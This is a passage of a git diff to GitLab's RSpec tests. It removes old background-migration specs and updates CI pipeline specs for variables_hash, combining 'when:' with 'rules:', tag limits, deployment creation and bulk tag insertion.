-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::UpdateExistingSubgroupToMatchVisibilityLevelOfParent, schema: 20181228175414 do
- include MigrationHelpers::NamespacesHelpers
-
- context 'private visibility level' do
- it 'updates the project visibility' do
- parent = create_namespace('parent', Gitlab::VisibilityLevel::PRIVATE)
- child = create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: parent.id)
-
- expect { subject.perform([parent.id], Gitlab::VisibilityLevel::PRIVATE) }.to change { child.reload.visibility_level }.to(Gitlab::VisibilityLevel::PRIVATE)
- end
-
- it 'updates sub-sub groups' do
- parent = create_namespace('parent', Gitlab::VisibilityLevel::PRIVATE)
- middle_group = create_namespace('middle', Gitlab::VisibilityLevel::PRIVATE, parent_id: parent.id)
- child = create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: middle_group.id)
-
- subject.perform([parent.id, middle_group.id], Gitlab::VisibilityLevel::PRIVATE)
-
- expect(child.reload.visibility_level).to eq(Gitlab::VisibilityLevel::PRIVATE)
- end
-
- it 'updates all sub groups' do
- parent = create_namespace('parent', Gitlab::VisibilityLevel::PRIVATE)
- middle_group = create_namespace('middle', Gitlab::VisibilityLevel::PUBLIC, parent_id: parent.id)
- child = create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: middle_group.id)
-
- subject.perform([parent.id], Gitlab::VisibilityLevel::PRIVATE)
-
- expect(child.reload.visibility_level).to eq(Gitlab::VisibilityLevel::PRIVATE)
- expect(middle_group.reload.visibility_level).to eq(Gitlab::VisibilityLevel::PRIVATE)
- end
- end
-
- context 'internal visibility level' do
- it 'updates the project visibility' do
- parent = create_namespace('parent', Gitlab::VisibilityLevel::INTERNAL)
- child = create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: parent.id)
-
- expect { subject.perform([parent.id], Gitlab::VisibilityLevel::INTERNAL) }.to change { child.reload.visibility_level }.to(Gitlab::VisibilityLevel::INTERNAL)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb b/spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb
deleted file mode 100644
index 33f5e38100e..00000000000
--- a/spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::UpdateExistingUsersThatRequireTwoFactorAuth, schema: 20181228175414 do
- include MigrationHelpers::NamespacesHelpers
-
- let(:group_with_2fa_parent) { create_namespace('parent', Gitlab::VisibilityLevel::PRIVATE) }
- let(:group_with_2fa_child) { create_namespace('child', Gitlab::VisibilityLevel::PRIVATE, parent_id: group_with_2fa_parent.id) }
- let(:members_table) { table(:members) }
- let(:users_table) { table(:users) }
-
- subject { described_class.new }
-
- describe '#perform' do
- context 'with group members' do
- let(:user_1) { create_user('user@example.com') }
- let!(:member) { create_group_member(user_1, group_with_2fa_parent) }
- let!(:user_without_group) { create_user('user_without@example.com') }
- let(:user_other) { create_user('user_other@example.com') }
- let!(:member_other) { create_group_member(user_other, group_with_2fa_parent) }
-
- it 'updates user when user should not be required to establish two factor authentication' do
- subject.perform(user_1.id, user_without_group.id)
-
- expect(user_1.reload.require_two_factor_authentication_from_group).to eq(false)
- end
-
- it 'does not update user when user is member of group that requires two factor authentication' do
- group = create_namespace('other', Gitlab::VisibilityLevel::PRIVATE, require_two_factor_authentication: true)
- create_group_member(user_1, group)
-
- subject.perform(user_1.id, user_without_group.id)
-
- expect(user_1.reload.require_two_factor_authentication_from_group).to eq(true)
- end
-
- it 'does not update user who is not in current batch' do
- subject.perform(user_1.id, user_without_group.id)
-
- expect(user_other.reload.require_two_factor_authentication_from_group).to eq(true)
- end
-
- it 'updates all users in current batch' do
- subject.perform(user_1.id, user_other.id)
-
- expect(user_other.reload.require_two_factor_authentication_from_group).to eq(false)
- end
-
- it 'does not update user when user is member of group which parent group requires two factor authentication' do
- group_with_2fa_parent.update!(require_two_factor_authentication: true)
- subject.perform(user_1.id, user_other.id)
-
- expect(user_1.reload.require_two_factor_authentication_from_group).to eq(true)
- end
-
- it 'does not update user when user is member of group which has subgroup that requires two factor authentication' do
- create_namespace('subgroup', Gitlab::VisibilityLevel::PRIVATE, require_two_factor_authentication: true, parent_id: group_with_2fa_child.id)
-
- subject.perform(user_1.id, user_other.id)
-
- expect(user_1.reload.require_two_factor_authentication_from_group).to eq(true)
- end
- end
- end
-
- def create_user(email, require_2fa: true)
- users_table.create!(email: email, projects_limit: 10, require_two_factor_authentication_from_group: require_2fa)
- end
-
- def create_group_member(user, group)
- members_table.create!(user_id: user.id, source_id: group.id, access_level: GroupMember::MAINTAINER, source_type: "Namespace", type: "GroupMember", notification_level: 3)
- end
-end
diff --git a/spec/lib/gitlab/background_migration/update_timelogs_null_spent_at_spec.rb b/spec/lib/gitlab/background_migration/update_timelogs_null_spent_at_spec.rb
new file mode 100644
index 00000000000..982e3319063
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/update_timelogs_null_spent_at_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::UpdateTimelogsNullSpentAt, schema: 20211215090620 do
+ let_it_be(:previous_time) { 10.days.ago }
+ let_it_be(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
+ let_it_be(:project) { table(:projects).create!(namespace_id: namespace.id) }
+ let_it_be(:issue) { table(:issues).create!(project_id: project.id) }
+ let_it_be(:merge_request) { table(:merge_requests).create!(target_project_id: project.id, source_branch: 'master', target_branch: 'feature') }
+ let_it_be(:timelog1) { create_timelog!(issue_id: issue.id) }
+ let_it_be(:timelog2) { create_timelog!(merge_request_id: merge_request.id) }
+ let_it_be(:timelog3) { create_timelog!(issue_id: issue.id, spent_at: previous_time) }
+ let_it_be(:timelog4) { create_timelog!(merge_request_id: merge_request.id, spent_at: previous_time) }
+
+ subject(:background_migration) { described_class.new }
+
+ before_all do
+ table(:timelogs).where.not(id: [timelog3.id, timelog4.id]).update_all(spent_at: nil)
+ end
+
+ describe '#perform' do
+ it 'sets correct spent_at' do
+ background_migration.perform(timelog1.id, timelog4.id)
+
+ expect(timelog1.reload.spent_at).to be_like_time(timelog1.created_at)
+ expect(timelog2.reload.spent_at).to be_like_time(timelog2.created_at)
+ expect(timelog3.reload.spent_at).to be_like_time(previous_time)
+ expect(timelog4.reload.spent_at).to be_like_time(previous_time)
+ expect(timelog3.reload.spent_at).not_to be_like_time(timelog3.created_at)
+ expect(timelog4.reload.spent_at).not_to be_like_time(timelog4.created_at)
+ end
+ end
+
+ private
+
+ def create_timelog!(**args)
+ table(:timelogs).create!(**args, time_spent: 1)
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/user_mentions/create_resource_user_mention_spec.rb b/spec/lib/gitlab/background_migration/user_mentions/create_resource_user_mention_spec.rb
deleted file mode 100644
index 7af11ffa1e0..00000000000
--- a/spec/lib/gitlab/background_migration/user_mentions/create_resource_user_mention_spec.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::UserMentions::CreateResourceUserMention, schema: 20181228175414 do
- context 'checks no_quote_columns' do
- it 'has correct no_quote_columns' do
- expect(Gitlab::BackgroundMigration::UserMentions::Models::MergeRequest.no_quote_columns).to match([:note_id, :merge_request_id])
- end
-
- it 'commit has correct no_quote_columns' do
- expect(Gitlab::BackgroundMigration::UserMentions::Models::Commit.no_quote_columns).to match([:note_id])
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration_spec.rb b/spec/lib/gitlab/background_migration_spec.rb
index 777dc8112a7..8dd7f6892a6 100644
--- a/spec/lib/gitlab/background_migration_spec.rb
+++ b/spec/lib/gitlab/background_migration_spec.rb
@@ -3,11 +3,12 @@
require 'spec_helper'
RSpec.describe Gitlab::BackgroundMigration do
- let(:coordinator) { described_class::JobCoordinator.for_database(:main) }
+ let(:default_tracking_database) { described_class::DEFAULT_TRACKING_DATABASE }
+ let(:coordinator) { described_class::JobCoordinator.for_tracking_database(default_tracking_database) }
before do
allow(described_class).to receive(:coordinator_for_database)
- .with(:main)
+ .with(default_tracking_database)
.and_return(coordinator)
end
diff --git a/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb b/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
index f9313f0ff28..0380ddd9a2e 100644
--- a/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
+++ b/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
@@ -27,20 +27,26 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
end
describe '#import_repository' do
+ let(:repo_url) { 'http://bitbucket:test@my-bitbucket' }
+
+ before do
+ expect(project.repository).to receive(:import_repository).with(repo_url)
+ end
+
it 'adds a remote' do
expect(subject).to receive(:import_pull_requests)
expect(subject).to receive(:delete_temp_branches)
expect(project.repository).to receive(:fetch_as_mirror)
- .with('http://bitbucket:test@my-bitbucket',
- refmap: [:heads, :tags, '+refs/pull-requests/*/to:refs/merge-requests/*/head'])
+ .with(repo_url,
+ refmap: ['+refs/pull-requests/*/to:refs/merge-requests/*/head'])
subject.execute
end
- it 'raises a Gitlab::Shell exception in the fetch' do
- expect(project.repository).to receive(:fetch_as_mirror).and_raise(Gitlab::Shell::Error)
+ it 'raises a Gitlab::Git::CommandError in the fetch' do
+ expect(project.repository).to receive(:fetch_as_mirror).and_raise(::Gitlab::Git::CommandError)
- expect { subject.execute }.to raise_error(Gitlab::Shell::Error)
+ expect { subject.execute }.to raise_error(::Gitlab::Git::CommandError)
end
it 'raises an unhandled exception in the fetch' do
diff --git a/spec/lib/gitlab/ci/build/context/build_spec.rb b/spec/lib/gitlab/ci/build/context/build_spec.rb
index 46447231424..7f862a3b80a 100644
--- a/spec/lib/gitlab/ci/build/context/build_spec.rb
+++ b/spec/lib/gitlab/ci/build/context/build_spec.rb
@@ -8,11 +8,7 @@ RSpec.describe Gitlab::Ci::Build::Context::Build do
let(:context) { described_class.new(pipeline, seed_attributes) }
- describe '#variables' do
- subject { context.variables.to_hash }
-
- it { expect(context.variables).to be_instance_of(Gitlab::Ci::Variables::Collection) }
-
+ shared_examples 'variables collection' do
it { is_expected.to include('CI_COMMIT_REF_NAME' => 'master') }
it { is_expected.to include('CI_PIPELINE_IID' => pipeline.iid.to_s) }
it { is_expected.to include('CI_PROJECT_PATH' => pipeline.project.full_path) }
@@ -27,4 +23,20 @@ RSpec.describe Gitlab::Ci::Build::Context::Build do
it { is_expected.to include('CI_PROJECT_PATH' => pipeline.project.full_path) }
end
end
+
+ describe '#variables' do
+ subject { context.variables.to_hash }
+
+ it { expect(context.variables).to be_instance_of(Gitlab::Ci::Variables::Collection) }
+
+ it_behaves_like 'variables collection'
+ end
+
+ describe '#variables_hash' do
+ subject { context.variables_hash }
+
+ it { expect(context.variables_hash).to be_instance_of(ActiveSupport::HashWithIndifferentAccess) }
+
+ it_behaves_like 'variables collection'
+ end
end
diff --git a/spec/lib/gitlab/ci/build/context/global_spec.rb b/spec/lib/gitlab/ci/build/context/global_spec.rb
index 61f2b90426d..d4141eb8389 100644
--- a/spec/lib/gitlab/ci/build/context/global_spec.rb
+++ b/spec/lib/gitlab/ci/build/context/global_spec.rb
@@ -8,11 +8,7 @@ RSpec.describe Gitlab::Ci::Build::Context::Global do
let(:context) { described_class.new(pipeline, yaml_variables: yaml_variables) }
- describe '#variables' do
- subject { context.variables.to_hash }
-
- it { expect(context.variables).to be_instance_of(Gitlab::Ci::Variables::Collection) }
-
+ shared_examples 'variables collection' do
it { is_expected.to include('CI_COMMIT_REF_NAME' => 'master') }
it { is_expected.to include('CI_PIPELINE_IID' => pipeline.iid.to_s) }
it { is_expected.to include('CI_PROJECT_PATH' => pipeline.project.full_path) }
@@ -26,4 +22,20 @@ RSpec.describe Gitlab::Ci::Build::Context::Global do
it { is_expected.to include('SUPPORTED' => 'parsed') }
end
end
+
+ describe '#variables' do
+ subject { context.variables.to_hash }
+
+ it { expect(context.variables).to be_instance_of(Gitlab::Ci::Variables::Collection) }
+
+ it_behaves_like 'variables collection'
+ end
+
+ describe '#variables_hash' do
+ subject { context.variables_hash }
+
+ it { is_expected.to be_instance_of(ActiveSupport::HashWithIndifferentAccess) }
+
+ it_behaves_like 'variables collection'
+ end
end
diff --git a/spec/lib/gitlab/ci/build/policy/variables_spec.rb b/spec/lib/gitlab/ci/build/policy/variables_spec.rb
index 6c8c968dc0c..436ad59bdf7 100644
--- a/spec/lib/gitlab/ci/build/policy/variables_spec.rb
+++ b/spec/lib/gitlab/ci/build/policy/variables_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Gitlab::Ci::Build::Policy::Variables do
let(:seed) do
double('build seed',
to_resource: ci_build,
- variables: ci_build.scoped_variables
+ variables_hash: ci_build.scoped_variables.to_hash
)
end
@@ -91,7 +91,7 @@ RSpec.describe Gitlab::Ci::Build::Policy::Variables do
let(:seed) do
double('bridge seed',
to_resource: bridge,
- variables: ci_build.scoped_variables
+ variables_hash: ci_build.scoped_variables.to_hash
)
end
diff --git a/spec/lib/gitlab/ci/build/rules/rule/clause/changes_spec.rb b/spec/lib/gitlab/ci/build/rules/rule/clause/changes_spec.rb
index d20ea6c9202..532c83f6768 100644
--- a/spec/lib/gitlab/ci/build/rules/rule/clause/changes_spec.rb
+++ b/spec/lib/gitlab/ci/build/rules/rule/clause/changes_spec.rb
@@ -33,12 +33,12 @@ RSpec.describe Gitlab::Ci::Build::Rules::Rule::Clause::Changes do
end
context 'when context has the specified variables' do
- let(:variables) do
- [{ key: "HELM_DIR", value: "helm", public: true }]
+ let(:variables_hash) do
+ { 'HELM_DIR' => 'helm' }
end
before do
- allow(context).to receive(:variables).and_return(variables)
+ allow(context).to receive(:variables_hash).and_return(variables_hash)
end
it { is_expected.to be_truthy }
@@ -49,7 +49,7 @@ RSpec.describe Gitlab::Ci::Build::Rules::Rule::Clause::Changes do
let(:modified_paths) { ['path/with/$in/it/file.txt'] }
before do
- allow(context).to receive(:variables).and_return([])
+ allow(context).to receive(:variables_hash).and_return({})
end
it { is_expected.to be_truthy }
diff --git a/spec/lib/gitlab/ci/build/rules/rule_spec.rb b/spec/lib/gitlab/ci/build/rules/rule_spec.rb
index 6f3c9278677..f905e229415 100644
--- a/spec/lib/gitlab/ci/build/rules/rule_spec.rb
+++ b/spec/lib/gitlab/ci/build/rules/rule_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Gitlab::Ci::Build::Rules::Rule do
let(:seed) do
double('build seed',
to_resource: ci_build,
- variables: ci_build.scoped_variables
+ variables_hash: ci_build.scoped_variables.to_hash
)
end
diff --git a/spec/lib/gitlab/ci/build/rules_spec.rb b/spec/lib/gitlab/ci/build/rules_spec.rb
index 1d5bdf30278..37bfdca4d1d 100644
--- a/spec/lib/gitlab/ci/build/rules_spec.rb
+++ b/spec/lib/gitlab/ci/build/rules_spec.rb
@@ -3,13 +3,13 @@
require 'spec_helper'
RSpec.describe Gitlab::Ci::Build::Rules do
- let(:pipeline) { create(:ci_pipeline) }
- let(:ci_build) { build(:ci_build, pipeline: pipeline) }
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+ let_it_be(:ci_build) { build(:ci_build, pipeline: pipeline) }
let(:seed) do
double('build seed',
to_resource: ci_build,
- variables: ci_build.scoped_variables
+ variables_hash: ci_build.scoped_variables.to_hash
)
end
diff --git a/spec/lib/gitlab/ci/config/entry/bridge_spec.rb b/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
index 6c9c8fa5df5..62feed3dda0 100644
--- a/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
@@ -163,7 +163,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Bridge do
})
end
- it { is_expected.not_to be_valid }
+ it { is_expected.to be_valid }
end
context 'when bridge configuration uses rules with only' do
diff --git a/spec/lib/gitlab/ci/config/entry/job_spec.rb b/spec/lib/gitlab/ci/config/entry/job_spec.rb
index 0bb26babfc0..885f3eaff79 100644
--- a/spec/lib/gitlab/ci/config/entry/job_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/job_spec.rb
@@ -118,6 +118,20 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
end
end
+ context 'when config uses both "when:" and "rules:"' do
+ let(:config) do
+ {
+ script: 'echo',
+ when: 'on_failure',
+ rules: [{ if: '$VARIABLE', when: 'on_success' }]
+ }
+ end
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+
context 'when delayed job' do
context 'when start_in is specified' do
let(:config) { { script: 'echo', when: 'delayed', start_in: '1 week' } }
@@ -268,21 +282,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
end
end
- context 'when it uses both "when:" and "rules:"' do
- let(:config) do
- {
- script: 'echo',
- when: 'on_failure',
- rules: [{ if: '$VARIABLE', when: 'on_success' }]
- }
- end
-
- it 'returns an error about when: being combined with rules' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include 'job config key may not be used with `rules`: when'
- end
- end
-
context 'when delayed job' do
context 'when start_in is specified' do
let(:config) { { script: 'echo', when: 'delayed', start_in: '1 week' } }
diff --git a/spec/lib/gitlab/ci/config/entry/processable_spec.rb b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
index c9c28e2eb8b..5b9337ede34 100644
--- a/spec/lib/gitlab/ci/config/entry/processable_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
@@ -33,6 +33,20 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
end
end
+ context 'when config uses both "when:" and "rules:"' do
+ let(:config) do
+ {
+ script: 'echo',
+ when: 'on_failure',
+ rules: [{ if: '$VARIABLE', when: 'on_success' }]
+ }
+ end
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+
context 'when job name is more than 255' do
let(:entry) { node_class.new(config, name: ('a' * 256).to_sym) }
@@ -90,21 +104,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
end
end
- context 'when it uses both "when:" and "rules:"' do
- let(:config) do
- {
- script: 'echo',
- when: 'on_failure',
- rules: [{ if: '$VARIABLE', when: 'on_success' }]
- }
- end
-
- it 'returns an error about when: being combined with rules' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include 'job config key may not be used with `rules`: when'
- end
- end
-
context 'when only: is used with rules:' do
let(:config) { { only: ['merge_requests'], rules: [{ if: '$THIS' }] } }
diff --git a/spec/lib/gitlab/ci/config/entry/tags_spec.rb b/spec/lib/gitlab/ci/config/entry/tags_spec.rb
index 79317de373b..e05d4ae52b2 100644
--- a/spec/lib/gitlab/ci/config/entry/tags_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/tags_spec.rb
@@ -36,25 +36,9 @@ RSpec.describe Gitlab::Ci::Config::Entry::Tags do
context 'when tags limit is reached' do
let(:config) { Array.new(50) {|i| "tag-#{i}" } }
- context 'when ci_build_tags_limit is enabled' do
- before do
- stub_feature_flags(ci_build_tags_limit: true)
- end
-
- it 'reports error' do
- expect(entry.errors)
- .to include "tags config must be less than the limit of #{described_class::TAGS_LIMIT} tags"
- end
- end
-
- context 'when ci_build_tags_limit is disabled' do
- before do
- stub_feature_flags(ci_build_tags_limit: false)
- end
-
- it 'does not report an error' do
- expect(entry.errors).to be_empty
- end
+ it 'reports error' do
+ expect(entry.errors)
+ .to include "tags config must be less than the limit of #{described_class::TAGS_LIMIT} tags"
end
end
end
diff --git a/spec/lib/gitlab/ci/config/external/context_spec.rb b/spec/lib/gitlab/ci/config/external/context_spec.rb
index 4b9adf7e87b..800c563cd0b 100644
--- a/spec/lib/gitlab/ci/config/external/context_spec.rb
+++ b/spec/lib/gitlab/ci/config/external/context_spec.rb
@@ -6,7 +6,8 @@ RSpec.describe Gitlab::Ci::Config::External::Context do
let(:project) { double('Project') }
let(:user) { double('User') }
let(:sha) { '12345' }
- let(:attributes) { { project: project, user: user, sha: sha } }
+ let(:variables) { Gitlab::Ci::Variables::Collection.new([{ 'key' => 'a', 'value' => 'b' }]) }
+ let(:attributes) { { project: project, user: user, sha: sha, variables: variables } }
subject(:subject) { described_class.new(**attributes) }
@@ -15,6 +16,9 @@ RSpec.describe Gitlab::Ci::Config::External::Context do
it { is_expected.to have_attributes(**attributes) }
it { expect(subject.expandset).to eq(Set.new) }
it { expect(subject.execution_deadline).to eq(0) }
+ it { expect(subject.variables).to be_instance_of(Gitlab::Ci::Variables::Collection) }
+ it { expect(subject.variables_hash).to be_instance_of(ActiveSupport::HashWithIndifferentAccess) }
+ it { expect(subject.variables_hash).to include('a' => 'b') }
end
context 'without values' do
@@ -23,6 +27,8 @@ RSpec.describe Gitlab::Ci::Config::External::Context do
it { is_expected.to have_attributes(**attributes) }
it { expect(subject.expandset).to eq(Set.new) }
it { expect(subject.execution_deadline).to eq(0) }
+ it { expect(subject.variables).to be_instance_of(Gitlab::Ci::Variables::Collection) }
+ it { expect(subject.variables_hash).to be_instance_of(ActiveSupport::HashWithIndifferentAccess) }
end
end
@@ -94,6 +100,15 @@ RSpec.describe Gitlab::Ci::Config::External::Context do
end
describe '#mutate' do
+ let(:attributes) do
+ {
+ project: project,
+ user: user,
+ sha: sha,
+ logger: double('logger')
+ }
+ end
+
shared_examples 'a mutated context' do
let(:mutated) { subject.mutate(new_attributes) }
@@ -107,6 +122,7 @@ RSpec.describe Gitlab::Ci::Config::External::Context do
it { expect(mutated).to have_attributes(new_attributes) }
it { expect(mutated.expandset).to eq(subject.expandset) }
it { expect(mutated.execution_deadline).to eq(mutated.execution_deadline) }
+ it { expect(mutated.logger).to eq(mutated.logger) }
end
context 'with attributes' do
diff --git a/spec/lib/gitlab/ci/config/external/processor_spec.rb b/spec/lib/gitlab/ci/config/external/processor_spec.rb
index 2e9e6f95071..97bd74721f2 100644
--- a/spec/lib/gitlab/ci/config/external/processor_spec.rb
+++ b/spec/lib/gitlab/ci/config/external/processor_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Gitlab::Ci::Config::External::Processor do
include StubRequests
let_it_be(:project) { create(:project, :repository) }
- let_it_be(:another_project) { create(:project, :repository) }
+ let_it_be_with_reload(:another_project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
let(:sha) { '12345' }
@@ -251,6 +251,17 @@ RSpec.describe Gitlab::Ci::Config::External::Processor do
it 'properly expands all includes' do
is_expected.to include(:my_build, :remote_build, :rspec)
end
+
+ it 'propagates the pipeline logger' do
+ processor.perform
+
+ process_obs_count = processor
+ .logger
+ .observations_hash
+ .dig('config_mapper_process_duration_s', 'count')
+
+ expect(process_obs_count).to eq(3)
+ end
end
context 'when user is reporter of another project' do
diff --git a/spec/lib/gitlab/ci/config/external/rules_spec.rb b/spec/lib/gitlab/ci/config/external/rules_spec.rb
index 1e42cb30ae7..091bd3b07e6 100644
--- a/spec/lib/gitlab/ci/config/external/rules_spec.rb
+++ b/spec/lib/gitlab/ci/config/external/rules_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::Ci::Config::External::Rules do
subject(:rules) { described_class.new(rule_hashes) }
describe '#evaluate' do
- let(:context) { double(variables: {}) }
+ let(:context) { double(variables_hash: {}) }
subject(:result) { rules.evaluate(context).pass? }
@@ -20,13 +20,13 @@ RSpec.describe Gitlab::Ci::Config::External::Rules do
let(:rule_hashes) { [{ if: '$MY_VAR == "hello"' }] }
context 'when the rule matches' do
- let(:context) { double(variables: { MY_VAR: 'hello' }) }
+ let(:context) { double(variables_hash: { 'MY_VAR' => 'hello' }) }
it { is_expected.to eq(true) }
end
context 'when the rule does not match' do
- let(:context) { double(variables: { MY_VAR: 'invalid' }) }
+ let(:context) { double(variables_hash: { 'MY_VAR' => 'invalid' }) }
it { is_expected.to eq(false) }
end
diff --git a/spec/lib/gitlab/ci/parsers/terraform/tfplan_spec.rb b/spec/lib/gitlab/ci/parsers/terraform/tfplan_spec.rb
index f487fccdab7..60b4e01f382 100644
--- a/spec/lib/gitlab/ci/parsers/terraform/tfplan_spec.rb
+++ b/spec/lib/gitlab/ci/parsers/terraform/tfplan_spec.rb
@@ -103,7 +103,7 @@ RSpec.describe Gitlab::Ci::Parsers::Terraform::Tfplan do
'create' => 0,
'update' => 1,
'delete' => 0,
- 'job_name' => artifact.job.options.dig(:artifacts, :name).to_s
+ 'job_name' => artifact.job.name
)
)
)
@@ -124,7 +124,7 @@ RSpec.describe Gitlab::Ci::Parsers::Terraform::Tfplan do
'create' => 0,
'update' => 1,
'delete' => 0,
- 'job_name' => artifact.job.options.dig(:artifacts, :name).to_s
+ 'job_name' => artifact.job.name
)
)
)
diff --git a/spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb
new file mode 100644
index 00000000000..28bc685286f
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Pipeline::Chain::CreateDeployments do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+
+ let(:stage) { build(:ci_stage_entity, project: project, statuses: [job]) }
+ let(:pipeline) { create(:ci_pipeline, project: project, stages: [stage]) }
+
+ let(:command) do
+ Gitlab::Ci::Pipeline::Chain::Command.new(project: project, current_user: user)
+ end
+
+ let(:step) { described_class.new(pipeline, command) }
+
+ describe '#perform!' do
+ subject { step.perform! }
+
+ before do
+ job.pipeline = pipeline
+ end
+
+ context 'when a pipeline contains a deployment job' do
+ let!(:job) { build(:ci_build, :start_review_app, project: project) }
+ let!(:environment) { create(:environment, project: project, name: job.expanded_environment_name) }
+
+ it 'creates a deployment record' do
+ expect { subject }.to change { Deployment.count }.by(1)
+
+ job.reset
+ expect(job.deployment.project).to eq(job.project)
+ expect(job.deployment.ref).to eq(job.ref)
+ expect(job.deployment.sha).to eq(job.sha)
+ expect(job.deployment.deployable).to eq(job)
+ expect(job.deployment.deployable_type).to eq('CommitStatus')
+ expect(job.deployment.environment).to eq(job.persisted_environment)
+ end
+
+ context 'when creation failure occures' do
+ before do
+ allow_next_instance_of(Deployment) do |deployment|
+ allow(deployment).to receive(:save!) { raise ActiveRecord::RecordInvalid }
+ end
+ end
+
+ it 'trackes the exception' do
+ expect { subject }.to raise_error(described_class::DeploymentCreationError)
+
+ expect(Deployment.count).to eq(0)
+ end
+ end
+
+ context 'when the corresponding environment does not exist' do
+ let!(:environment) { }
+
+ it 'does not create a deployment record' do
+ expect { subject }.not_to change { Deployment.count }
+
+ expect(job.deployment).to be_nil
+ end
+ end
+
+ context 'when create_deployment_in_separate_transaction feature flag is disabled' do
+ before do
+ stub_feature_flags(create_deployment_in_separate_transaction: false)
+ end
+
+ it 'does not create a deployment record' do
+ expect { subject }.not_to change { Deployment.count }
+
+ expect(job.deployment).to be_nil
+ end
+ end
+ end
+
+ context 'when a pipeline contains a teardown job' do
+ let!(:job) { build(:ci_build, :stop_review_app, project: project) }
+ let!(:environment) { create(:environment, name: job.expanded_environment_name) }
+
+ it 'does not create a deployment record' do
+ expect { subject }.not_to change { Deployment.count }
+
+ expect(job.deployment).to be_nil
+ end
+ end
+
+ context 'when a pipeline does not contain a deployment job' do
+ let!(:job) { build(:ci_build, project: project) }
+
+ it 'does not create any deployments' do
+ expect { subject }.not_to change { Deployment.count }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb
index d60ecc80a6e..4206483b228 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb
@@ -56,4 +56,74 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Create do
.to include /Failed to persist the pipeline/
end
end
+
+ context 'tags persistence' do
+ let(:stage) do
+ build(:ci_stage_entity, pipeline: pipeline)
+ end
+
+ let(:job) do
+ build(:ci_build, stage: stage, pipeline: pipeline, project: project)
+ end
+
+ let(:bridge) do
+ build(:ci_bridge, stage: stage, pipeline: pipeline, project: project)
+ end
+
+ before do
+ pipeline.stages = [stage]
+ stage.statuses = [job, bridge]
+ end
+
+ context 'without tags' do
+ it 'extracts an empty tag list' do
+ expect(CommitStatus)
+ .to receive(:bulk_insert_tags!)
+ .with(stage.statuses, {})
+ .and_call_original
+
+ step.perform!
+
+ expect(job.instance_variable_defined?(:@tag_list)).to be_falsey
+ expect(job).to be_persisted
+ expect(job.tag_list).to eq([])
+ end
+ end
+
+ context 'with tags' do
+ before do
+ job.tag_list = %w[tag1 tag2]
+ end
+
+ it 'bulk inserts tags' do
+ expect(CommitStatus)
+ .to receive(:bulk_insert_tags!)
+ .with(stage.statuses, { job.name => %w[tag1 tag2] })
+ .and_call_original
+
+ step.perform!
+
+ expect(job.instance_variable_defined?(:@tag_list)).to be_falsey
+ expect(job).to be_persisted
+ expect(job.tag_list).to match_array(%w[tag1 tag2])
+ end
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ job.tag_list = %w[tag1 tag2]
+ stub_feature_flags(ci_bulk_insert_tags: false)
+ end
+
+ it 'follows the old code path' do
+ expect(CommitStatus).not_to receive(:bulk_insert_tags!)
+
+ step.perform!
+
+ expect(job.instance_variable_defined?(:@tag_list)).to be_truthy
+ expect(job).to be_persisted
+ expect(job.reload.tag_list).to match_array(%w[tag1 tag2])
+ end
